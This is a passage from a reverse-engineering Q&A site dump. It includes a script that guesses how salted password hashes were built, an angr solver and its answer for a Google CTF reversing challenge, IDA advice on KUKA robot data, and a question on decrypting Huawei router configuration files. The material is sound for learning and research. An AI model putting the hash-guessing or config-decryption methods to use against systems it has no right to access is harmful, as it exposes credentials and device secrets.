hashlib import new as hashnew, algorithms_available&#xA;&#xA;# Several possibilities&#xA;# - assuming the password is ASCII and the calculated hash is the hex&#xA;#   representation of the digest (or parts thereof)&#xA;#   1. the salt could be used as ASCII string&#xA;#   2. as array of bytes of 32 bytes size&#xA;#   3. some other nondescript way&#xA;# - Salt could be appended or prepended&#xA;# - Output could be part of the hex digest of some hash algo that yields&#xA;#   larger digests than MD5&#xA;DATA = [&#xA;    (&quot;pass1234&quot;, &quot;33b9d87b83c097ce3ea6e6f84a298f839aafc6d7aa23d909a43ac94bdee35ddf&quot;, &quot;61477724c136fb285918114792685a4d&quot;),&#xA;    (&quot;test1234&quot;, &quot;33b9d87b83c097ce3ea6e6f84a298f839aafc6d7aa23d909a43ac94bdee35ddf&quot;, &quot;00281231e8928af48c34ca03e09eebe5&quot;),&#xA;    (&quot;simple123&quot;, &quot;b68053c65b06b1b322b6cbc53fce1f614eee9366384a12aa01188bdaa8f14ac3&quot;, &quot;0c9e564acfe36f51b54b5050741f351c&quot;),&#xA;    (&quot;pass1234&quot;, &quot;b68053c65b06b1b322b6cbc53fce1f614eee9366384a12aa01188bdaa8f14ac3&quot;, &quot;0fc692cc78a51a9650c896c735a1b577&quot;),&#xA;    ]&#xA;&#xA;results = {}&#xA;print(&quot;Testing&quot;, &quot;, &quot;.join(sorted(algorithms_available)))&#xA;# Go through supported hash algos&#xA;for algo in sorted(algorithms_available):&#xA;    print(algo)&#xA;    for password, salt, expected in DATA:&#xA;        cases = []&#xA;        # password + salt&#xA;        cases.append(password.encode('ascii') + salt.encode('ascii'))&#xA;        # salt + password&#xA;        cases.append(salt.encode('ascii') + password.encode('ascii'))&#xA;        # password + bytes(salt)&#xA;        cases.append(password.encode('ascii') + bytes.fromhex(salt))&#xA;        # bytes(salt) + password&#xA;        cases.append(bytes.fromhex(salt) + password.encode('ascii'))&#xA;        reslist = []&#xA;        for case in cases:&#xA;            h = hashnew(algo, case)&#xA;            hexd = h.hexdigest()&#xA;            if expected.lower() in hexd.lower():&#xA;                highlight = hexd.lower().replace(expected.lower(), &quot;[%s]&quot; % (expected.lower()))&#xA;                print(&quot;Match for algorithm %s: %s&quot; % (algo, highlight))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Admittedly a naïve approach, but as you can see just from this, there's a multitude of possibilities in which the password and salt can be represented and combined and there are a multitude of hash algorithms to test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the above did not include &lt;a href=&quot;https://blake2.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;BLAKE2&lt;/a&gt;, I'd strongly recommend testing that one as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I'd like to draw your attention to key derivation algorithms like those supported in &lt;a href=&quot;https://docs.python.org/3/library/hashlib.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;hashlib&lt;/a&gt;: &lt;code&gt;pbkdf2_hmac&lt;/code&gt; and &lt;code&gt;scrypt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, short of brute-forcing (my above attempt and variations on that) you won't get around looking at the actual code. For starters you may be able to figure out the algorithm used by certain signatures. But moreover you may find out ways by which the password, the salt or both are mutated prior to the hashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And considering key derivation algorithms the fact that you can run them an arbitrary number of iterations provides for another &quot;dimension&quot; in the permutations possible ...&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2019-07-04T16:00:35.960" CommentCount="0" CommunityOwnedDate="2019-07-04T16:00:35.960" ContentLicense="CC BY-SA 4.0" />
  <row Id="21614" PostTypeId="2" ParentId="21610" CreationDate="2019-07-04T19:38:36.497" Score="1" Body="&lt;p&gt;the v20 stuff is simply this-&gt;mem = new();  where this is a structure of some sort&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the dynamicdata constructor you posted is actually filling up a struct with 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to change the int a1 to struct foo* a1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;prior to that you need to define the struct in ida &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so since it is returning the struct pointer you need to change the return value also as struct foo*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try compiling this code and decompiling it in ida and you will see the decompilation is exactly similar to what you posted &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;memory.h&amp;gt;&#xA;&#xA;typedef struct _SOMESTRUCT {&#xA;    unsigned int a;&#xA;    unsigned int b;&#xA;    unsigned int c;&#xA;    unsigned int d;&#xA;}Sostr,*PSostr;&#xA;&#xA;PSostr foo( PSostr blah) {&#xA;&#xA;    blah-&amp;gt;a = 0;&#xA;    blah-&amp;gt;b = 0;&#xA;    blah-&amp;gt;c = 0;&#xA;    blah-&amp;gt;d = 0;&#xA;    return blah;&#xA;}&#xA;&#xA;int main (void)&#xA;{&#xA;    Sostr temp = {0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef};    &#xA;    printf(&quot;%08x %08x %08x %08x\n&quot; , temp.a,temp.b,temp.c,temp.d);&#xA;    foo(&amp;amp;temp);&#xA;    printf(&quot;%08x %08x %08x %08x\n&quot; , temp.a,temp.b,temp.c,temp.d);&#xA;    return 0;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;googling $DYN_DAT appears to turn out lots of info including a .dat file whose data shows $DYN_DAT[] is an array of floats/doubles &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically it opens the file and checks for the first entry $REAL_DYN_DAT[XXX]  where XXX is the size of all $DYN_DAT entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;allocates XXX * 8  size of memory &#xA;parses the $DYN_DAT entries line by line and stores all the DOuble values it has read &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the file appears to be looking like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;REAL $DYN_DAT[xxx] this is the size of all $DYN_DAT&#xA;$DYN_DAT[1]=0.xxxxx&#xA;$DYN_DAT[2]=0.yyyyy&#xA;$DYN_DAT[3]=1.zzzzz&#xA;$DYN_DAT[4]=1.aa&#xA;$DYN_DAT[5]=0.mmmm ........ $DYN_DAT[xxx} = d.efghijk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-07-04T20:15:18.550" LastActivityDate="2019-07-04T20:15:18.550" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21615" PostTypeId="2" ParentId="21565" CreationDate="2019-07-04T21:28:40.837" Score="4" Body="&lt;p&gt;Making a few changes to the code you've posted, angr is able to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addresses of the symbol are resolved dynamically using &lt;code&gt;proj.loader.find_symbol&lt;/code&gt;. This avoids hard coding the address which may each change each-time the source is recompiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of declaring a big BitVector covering the entire array, I've declared 16 8-bit BitVectors, one each for every element of the array. This way it's easier to apply the constraints.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;&#xA;proj = angr.Project('./chall')&#xA;&#xA;# Addresses of symbols&#xA;main = proj.loader.find_symbol('main').rebased_addr&#xA;good = proj.loader.find_symbol('GOOD').rebased_addr &#xA;bad = proj.loader.find_symbol('BAD').rebased_addr &#xA;&#xA;in_array_addr = proj.loader.find_symbol('in_array').rebased_addr  &#xA;&#xA;# in_array is a char array with 16 elements and sizeof(char)=1&#xA;in_array_size = 16 * 1&#xA;&#xA;initial_state = proj.factory.entry_state(addr=main)&#xA;&#xA;for i in range(in_array_size):&#xA;    # Each char of the array is a 8 bit BitVector&#xA;    ch = initial_state.solver.BVS('ch{}'.format(i), 8)&#xA;&#xA;    # Add constraints&#xA;    initial_state.solver.add(ch &amp;gt;= 0)    &#xA;    initial_state.solver.add(ch &amp;lt; 17)&#xA;&#xA;    # Store BV to memory&#xA;    initial_state.memory.store(in_array_addr+i, ch)&#xA;&#xA;&#xA;# Create a Simulation manager from the current state&#xA;sm = proj.factory.simulation_manager(initial_state)&#xA;&#xA;# Find a path to good while avoiding bad&#xA;sm.explore(find=good, avoid=bad)&#xA;&#xA;print(&quot;No. of solutions found:&quot;, len(sm.found))&#xA;&#xA;if len(sm.found) &amp;gt; 0:        &#xA;    # Considering the first goal state&#xA;    goal_state = sm.found[0]&#xA;&#xA;    # Load contents of memory at the said address&#xA;    flag_data = goal_state.memory.load(in_array_addr, in_array_size)&#xA;&#xA;    # Convert flag_data from BitVector to bytes&#xA;    answer = goal_state.solver.eval(flag_data, cast_to=bytes)&#xA;    print (list(answer))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Output&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user@70a6c29adea0 $ python solve.py&#xA;WARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwa&#xA;nted behavior.&#xA;WARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You ca&#xA;n resolve this by:&#xA;WARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state&#xA;WARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions h&#xA;old null&#xA;WARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messa&#xA;ges.&#xA;WARNING | 2019-07-04 21:09:04,765 | angr.state_plugins.symbolic_memory | Filling register edi with 4 unconstrained bytes referenced from 0x8048861 (__libc_csu_init+0x1 i&#xA;n chall (0x8048861))&#xA;WARNING | 2019-07-04 21:09:04,770 | angr.state_plugins.symbolic_memory | Filling register ebx with 4 unconstrained bytes referenced from 0x8048863 (__libc_csu_init+0x3 i&#xA;n chall (0x8048863))&#xA;No. of solutions found: 1&#xA;[0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14, 15, 16]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;UPDATE&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;After OP mentioned that its a challenge from Google CTF Quals 2019, I decided to look at the original binary instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently the previous answer from angr doesn't satisfy the C code OP posted. There were a couple of reasons for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first and glaring mistake was using the &lt;code&gt;goal_state&lt;/code&gt; to load &lt;code&gt;flag_data&lt;/code&gt;. This is wrong as in &lt;code&gt;goal_state&lt;/code&gt; the &lt;code&gt;flag_data&lt;/code&gt; will get changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second mistake was the bytes of &lt;code&gt;in_array&lt;/code&gt; should be in between 0 and 16 (not 0 and 17).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be inferred from the Ghidra decompiler screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UUXSd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UUXSd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return uVar2 &amp;amp; (uint)((byte)local_24[15] &amp;lt; 16);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checks whether the final element of the array is &lt;code&gt;&amp;lt; 16&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following updated script prints out the the contents of &lt;code&gt;in_array&lt;/code&gt; which satisfies the constraints.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;&#xA;proj = angr.Project('./chall')&#xA;&#xA;# Addresses of symbols&#xA;main = proj.loader.find_symbol('main').rebased_addr&#xA;good = proj.loader.find_symbol('GOOD').rebased_addr &#xA;bad = proj.loader.find_symbol('BAD').rebased_addr &#xA;&#xA;in_array_addr = proj.loader.find_symbol('in_array').rebased_addr  &#xA;in_array_size = 16&#xA;&#xA;initial_state = proj.factory.blank_state(addr=main)&#xA;flag = [None] * in_array_size&#xA;&#xA;for i in range(in_array_size):&#xA;    # Each char of the array is a 8 bit BitVector&#xA;    ch = initial_state.solver.BVS('ch{}'.format(i), 8)&#xA;    flag[i] = ch&#xA;&#xA;    # Add constraints&#xA;    initial_state.solver.add(ch &amp;gt;= 0)    &#xA;    initial_state.solver.add(ch &amp;lt; 16)&#xA;&#xA;    # Store BV to memory&#xA;    initial_state.memory.store(in_array_addr+i, ch)&#xA;&#xA;&#xA;# Create a Simulation manager from the current state&#xA;sm = proj.factory.simulation_manager(initial_state)&#xA;&#xA;# Find a path to good while avoiding bad&#xA;sm.explore(find=good, avoid=bad)&#xA;&#xA;print(&quot;No. of solutions found:&quot;, len(sm.found))&#xA;&#xA;if len(sm.found) &amp;gt; 0:        &#xA;    # Considering the first goal state&#xA;    goal_state = sm.found[0]       &#xA;&#xA;    print([goal_state.solver.eval(d) for d in flag])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Output&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user@ec03a79cf15f$ python solver.py&#xA;WARNING | 2019-07-06 10:29:07,128 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.&#xA;WARNING | 2019-07-06 10:29:07,128 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:&#xA;WARNING | 2019-07-06 10:29:07,129 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state&#xA;WARNING | 2019-07-06 10:29:07,129 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null&#xA;WARNING | 2019-07-06 10:29:07,129 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.&#xA;WARNING | 2019-07-06 10:29:07,129 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fff0000 with 4 unconstrained bytes referenced from 0x8048532 (main+0x7 in chall (0x8048532))&#xA;WARNING | 2019-07-06 10:29:07,131 | angr.state_plugins.symbolic_memory | Filling register ebp with 4 unconstrained bytes referenced from 0x8048535 (main+0xa in chall (0x8048535))&#xA;WARNING | 2019-07-06 10:29:07,380 | angr.state_plugins.symbolic_memory | Filling register ebx with 4 unconstrained bytes referenced from 0x8048567 (M+0x3 in chall (0x8048567))&#xA;No. of solutions found: 1&#xA;[9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the following as the contents of &lt;code&gt;in_array&lt;/code&gt; solves the challenge.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2019-07-06T10:33:40.927" LastActivityDate="2019-07-06T10:33:40.927" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21616" PostTypeId="2" ParentId="21610" CreationDate="2019-07-05T05:46:28.500" Score="0" Body="&lt;p&gt;Sorry for posting in Answer section (but i can't post comments without a reputation &gt;= 50)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so after using google a while my knowlege is: its a KUKA robot, $DYN_DAT is part of the $robocor.dat (which also contain other Arrays/Vars) - &lt;a href=&quot;http://www.wtech.com.tw/public/download/manual/kuka/krc2/System_Variables_manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.wtech.com.tw/public/download/manual/kuka/krc2/System_Variables_manual.pdf&lt;/a&gt;: &quot;Contains the model data of the robot, which are required for acceleration&#xA;adaptation, the higher motion profile and the calculation of kinetic energy&#xA;(moments of inertia, friction values, etc.)&quot; so $DYN_DAT is an Array of REAL aka double/float64 values and some of them are known - infereable by combining serveral docs spreaded over the internet, its not clear to me if the $DYN_DAT Array is of same and equal meaning for every type of KUKA robot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i understand that the content of $DYN_DAT is not full documented, and that is what you want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The given decompiled (always impressed by hex-rays results) code looks like an textfile parser or something, and i don't think that parsing a textfile is your problem here, or?&#xA;can you provide us with a sample of the $robocor.dat (pastebin.com) to make it clear what we've really got to base on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If im right (and it is an textfile and parsing is no problem) the next thing will be to find out whos using what parts of the $DYN_DAT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are several &quot;attack strategies&quot; available but &quot;I've copied the code from the robot and dissasembled&quot; makes i a little bit hard&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;define a c-header with a fake class that can be loaded into IDA with File/Load file, you can build test project using your fake class to see if the memory layout fits the one in the reverse code&lt;/li&gt;&#xA;&lt;li&gt;does that mean you can't debug the code running in IDA&lt;/li&gt;&#xA;&lt;li&gt;Is there an Emulation System cabable of running on pure Windosw/Linux or something?&lt;/li&gt;&#xA;&lt;li&gt;What tools are using the $robocore/$DYN_DAT - maybe a simpler teaching tool or something is easier to reverse&lt;/li&gt;&#xA;&lt;li&gt;32 or 64bit - i think your code is 32bit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Crazy idea: What about a small Challenge homepage, with a selection of KUKA/Robot-Types which shows your current knowledege of the $DYN_DAT line by line, add the ability to upload $robocor.dat files - make it a crowd problem, post it on reddit/serveral KUKA forums, reach faster information from others&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nice and small tutorial about C++ reversing&#xA;&lt;a href=&quot;https://blog.0xbadc0de.be/archives/67&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.0xbadc0de.be/archives/67&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;memory layout description etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static_assert(sizeof(int) == 4, &quot;wrong size&quot;); // are we 32bit&#xA;typedef unsigned int _DWORD;&#xA;static_assert(sizeof(double*) == sizeof(_DWORD));&#xA;&#xA;//1. find allocation(new) of CDynamicData then you know how many (vtable+)member-bytes the class containts&#xA;// give IDA a header with the class then is hex-rays able to give you even better results&#xA;&#xA;#pragma pack(push,1)&#xA;class CDynamicData&#xA;{&#xA;public:&#xA;    //already known&#xA;    unsigned char unknown0 = 0;&#xA;    unsigned char unknown1 = 0;&#xA;    unsigned char unknown2 = 0;&#xA;    unsigned char unknown3 = 0;&#xA;    _DWORD unknown4 = 0;&#xA;    _DWORD unknown5 = 0;&#xA;    double* dyn_dat_values = nullptr;&#xA;    //unsigned char unknown6[x] -&amp;gt; fill that up&#xA;&#xA;    CDynamicData()&#xA;    {&#xA;       unknown0 = 0;&#xA;       unknown4 = 0;&#xA;       unknown5 = 0;&#xA;       dyn_dat_values = 0;&#xA;    }&#xA;};&#xA;#pragma pack(pop)&#xA;&#xA;void test()&#xA;{&#xA;    assert(offsetof(CDynamicData, dyn_dat_values) == 12);&#xA;&#xA;    CDynamicData dd;&#xA;    void* _this = &amp;amp;dd;&#xA;&#xA;    int v42 = 123456; // readIntValues...&#xA;&#xA;    double* v20 = new (std::nothrow) double[v42];&#xA;&#xA;    //*((_DWORD *)this + 3) = v20;&#xA;    assert((char*)&amp;amp;dd.dyn_dat_values == (char*)((_DWORD *)_this + 3));&#xA;    dd.dyn_dat_values = v20;&#xA;&#xA;    double* v28 = dd.dyn_dat_values; // in code a int --&amp;gt; int == ptr-value&#xA;&#xA;    double v22 = 123456.0; // scanf...&#xA;    //*(double *)(v28 + 8 * indice - 8) = v22;&#xA;    //start with pointer to double array, + 8 because of sizeof(double), -8 because of indice starting with 1 not 0&#xA;    int indice = 1; //= 1..n&#xA;    v28[indice - 1] = v22;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;beware of thinking that int means value - hex-rays output is high high level asm so every int could also be just a pointer to something&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load C header:&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1367.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/1367.shtml&lt;/a&gt;&#xA;i prepared this header-file for IDA: &lt;a href=&quot;https://pastebin.com/PWNAAj7T&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/PWNAAj7T&lt;/a&gt;, just load before&#xA;analyze and hex-rays, then you will see much clearer whats happening&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then follow every occurence of CDynamicData and tell IDA to use your struct type - that will help alot&lt;/p&gt;&#xA;" OwnerUserId="28904" LastEditorUserId="28904" LastEditDate="2019-07-05T12:00:32.697" LastActivityDate="2019-07-05T12:00:32.697" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21618" PostTypeId="1" AcceptedAnswerId="21830" CreationDate="2019-07-05T17:14:42.103" Score="0" ViewCount="3001" Body="&lt;p&gt;&lt;a href=&quot;https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;I have tried to follow this guide&lt;/a&gt; but &#xA;libxmlapi.so didn't have the required ATP_GetInfo1 function&#xA;so i moved to the next file libhttpapi.so &#xA;it had &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ATP_GetInfo1&#xA;ATP_GetInfo2 &#xA;ATP_GetInfo3 &#xA;ATP_GetInfo4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so i copied the first two .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then ATP_GetInfo3 from libcfmapi.so file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then ATP_GetInfo4 from libmsgapi.so file&#xA;.... and when i tried to run the script &lt;a href=&quot;https://pastebin.com/zJechi09&quot; rel=&quot;nofollow noreferrer&quot;&gt;decode_keystore.py&lt;/a&gt; but it gave me &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ValueError: Input strings must be a multiple of 16 in length&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;.... and i think because the values wasn't in the same length &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/file/4x8y97j256uvd04/hg531s1.BIN/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;The firmware file&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28935" LastActivityDate="2020-11-02T03:34:54.587" Title="how can i decrypt huawei HG531s v1 config file?" Tags="|ida|binary-analysis|firmware|encryption|python|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21619" PostTypeId="1" AcceptedAnswerId="21623" CreationDate="2019-07-05T20:07:41.777" Score="6" ViewCount="4727" Body="&lt;p&gt;Why have two symbol tables if &lt;code&gt;.symtab&lt;/code&gt; already contains everything that's in &lt;code&gt;.dynsym&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="25721" LastActivityDate="2019-07-06T04:24:10.973" Title="Why have two symbols tables?" Tags="|linux|elf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21621" PostTypeId="1" AcceptedAnswerId="21635" CreationDate="2019-07-06T00:38:02.723" Score="0" ViewCount="361" Body="&lt;p&gt;So I have an embedded machine from the late 80s I want to mess around with. It uses a NEC v20HL which is an 8088 compatible with some extra 80186 instructions tossed in. I know it uses 64k code segments, reset vector at 0xFFFF0 and ISRs at 0x00 on even addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a bunch of different architectures and the only one that looks like 8088/x86 old school is the x86 real 16bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand how to actually use that information as IDA disassembled even the reset jmpl wrong (EA 0000 FDAF) is clearly a far jump to seg 0 add 0xFDAF but IDA makes it seg000:0xDAF0. What is even worse is 0xFDAF jumps to a faulty instruction?..&lt;/p&gt;&#xA;" OwnerUserId="27498" LastActivityDate="2019-07-09T09:03:09.577" Title="IDA 7 not dissasembling NEC v20 code" Tags="|ida|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21622" PostTypeId="1" CreationDate="2019-07-06T01:36:08.883" Score="1" ViewCount="405" Body="&lt;p&gt;I stumbled upon this (reduced for readability) function. It does weird things that I have never encountered before. &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// a2 is always 60.0&#xA;void some_function(struct_123 *this, float a1, float a2)&#xA;{&#xA;  float v5; // ST10_4&#xA;  float v6; // ST14_4&#xA;&#xA;  this-&amp;gt;field_34 = a1;&#xA;  v5 = a2 / (0.011 * 1000.0); // 60.0 / 11.0&#xA;  v6 = v5 - (double)(signed int)v5;&#xA;  this-&amp;gt;field_38 = (SLODWORD(v6) &amp;gt;&amp;gt; 31) + (signed int)v5;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know a little bit about IEEE 754 decimals, so i think &lt;code&gt;(SLODWORD(v6) &amp;gt;&amp;gt; 31)&lt;/code&gt; yields v6's sign bit. I suspect this is some kind of inlined floor/ceiling rounding operation, but I am anything but sure about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I stumbled upon the actual non-inlined method. Here it is:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl float_sub_466560(float a1)&#xA;{&#xA;  float v1; // ST04_4&#xA;&#xA;  v1 = (double)(signed int)a1 - a1;&#xA;  return (signed int)a1 - (SLODWORD(v1) &amp;gt;&amp;gt; 31);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit 2: it seems like the first function I gave adds 1 in the last line. That is part of the function, not the floating point operation. I removed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 3: as requested, here is the assembly for the second function.&#xA;I can provide the assembly from the first function, however it is quite big, and I don't really want to extract the right portion of it if it's not necessary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float_sub_466560 proc near&#xA;&#xA;var_8           = dword ptr -8&#xA;var_4           = dword ptr -4&#xA;arg_0           = dword ptr  4&#xA;&#xA;                sub     esp, 8          ; stack frame&#xA;                fld     [esp+8+arg_0]   ; Load Real&#xA;                fist    [esp+8+var_8]   ; Store Integer&#xA;                fisubr  [esp+8+var_8]   ; Subtract Integer Reversed&#xA;                fstp    [esp+8+var_4]   ; Store Real and Pop&#xA;                mov     eax, [esp+8+var_4]&#xA;                mov     ecx, [esp+8+var_8]&#xA;                sar     eax, 1Fh        ; Shift Arithmetic Right&#xA;                sub     ecx, eax        ; Integer Subtraction&#xA;                mov     eax, ecx        ; move result to correct return register&#xA;                add     esp, 8          ; stack frame&#xA;                retn                    ; Return Near from Procedure&#xA;float_sub_466560 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28941" LastEditorUserId="28941" LastEditDate="2019-07-07T00:46:43.073" LastActivityDate="2019-12-06T07:02:25.487" Title="Weird IDA/Decompiler floating point output" Tags="|ida|x86|hexrays|float|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21623" PostTypeId="2" ParentId="21619" CreationDate="2019-07-06T04:02:06.227" Score="7" Body="&lt;p&gt;The short answer is that the &lt;code&gt;.dynsym&lt;/code&gt; table is used by the dynamic linker (also referred to as the runtime loader or RTLD) at program load time to determine which DLLs to map into the address space of the program being loaded into memory. As a result, the &lt;code&gt;.dynsym&lt;/code&gt; &lt;em&gt;section&lt;/em&gt; is mapped to a loadable &lt;em&gt;segment&lt;/em&gt; (specifically, the &lt;code&gt;text&lt;/code&gt; segment) and therefore included in the runtime process image in virtual memory when the kernel loads the program segments. As a reflection of this, the Sys V ABI actually requires the &lt;em&gt;dynamic linking array&lt;/em&gt; to contain a dynamic symbol hash table, a string table for symbols and library names, and the dynamic symbol table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, the &lt;code&gt;.symtab&lt;/code&gt; section is not needed for process creation, is not mapped to a loadable segment and therefore is not loaded into memory when the program is executed, and so can be removed, along with section information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dynamic linking and its requirements are discussed in much greater detail in the following articles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a 